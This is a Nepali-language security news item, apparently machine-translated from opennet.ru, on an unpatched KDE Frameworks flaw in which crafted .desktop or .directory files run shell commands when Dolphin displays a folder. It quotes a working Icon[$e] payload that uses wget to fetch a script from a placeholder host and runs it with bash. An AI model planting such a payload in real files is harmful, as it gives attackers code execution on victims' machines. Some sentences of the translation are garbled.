🥇 फाइलहरूको सूची हेर्दा केडीई कोड कार्यान्वयन जोखिम

केडीई मा पहिचान गरियो कमजोरी, जसले प्रयोगकर्ताले विशेष रूपमा डिजाइन गरिएको ".desktop" र ".directory" फाइलहरू समावेश भएको डाइरेक्टरी वा अभिलेख हेर्दा आक्रमणकर्तालाई स्वेच्छाचारी आदेशहरू कार्यान्वयन गर्न अनुमति दिन्छ। आक्रमणको लागि प्रयोगकर्ताले केवल डल्फिन फाइल प्रबन्धकमा फाइलहरूको सूची हेर्न, दुर्भावनापूर्ण डेस्कटप फाइल डाउनलोड गर्न, वा डेस्कटप वा कागजातमा सर्टकट तान्नु आवश्यक छ। समस्या पुस्तकालयहरूको हालको रिलीजमा प्रकट हुन्छ केडीई फ्रेमवर्क 5.60.0 र पुराना संस्करणहरू, केडीई ४ सम्म। जोखिम अझै छ रहन्छ असुधारिएको (CVE तोकिएको छैन)।

समस्या केडीई डेस्कटपफाइल वर्गको गलत कार्यान्वयनको कारणले गर्दा भएको हो, जसले "आइकन" चरलाई प्रशोधन गर्दा, सही नभइकन, मान KConfigPrivate::expandString() प्रकार्यमा पास गर्छ, जसले प्रशोधन सहित शेल विशेष क्यारेक्टरहरूको विस्तार गर्दछ। स्ट्रिङहरू "$(..)" आदेशहरू कार्यान्वयन गर्न। XDG विनिर्देश, कार्यान्वयन को आवश्यकताहरु को विपरीत खुलासा शेल निर्माणहरू सेटिङहरूको प्रकार अलग नगरी उत्पादन गरिन्छ, अर्थात्। अनुप्रयोगको कमाण्ड लाइन लन्च गर्ने क्रममा मात्र होइन, तर पूर्वनिर्धारित रूपमा प्रदर्शित आइकनहरू निर्दिष्ट गर्दा पनि।

उदाहरणका लागि, आक्रमण गर्न पर्याप्त छ प्रयोगकर्तालाई ".directory" फाइल समावेश भएको डाइरेक्टरीको zip संग्रह पठाउनुहोस् जस्तै:

[डेस्कटप प्रविष्टि] प्रकार=निर्देशिका
आइकन[$e]=$(wget${IFS}https://example.com/FILENAME.sh&&/bin/bash${IFS}FILENAME.sh)

जब तपाइँ डल्फिन फाइल प्रबन्धकमा अभिलेखको सामग्रीहरू हेर्न प्रयास गर्नुहुन्छ, स्क्रिप्ट https://example.com/FILENAME.sh डाउनलोड र कार्यान्वयन गरिनेछ।

स्रोत: opennet.ru

फाइलहरूको सूची हेर्दा केडीई कोड कार्यान्वयन जोखिम

एक टिप्पणी थप्न Отменить ответ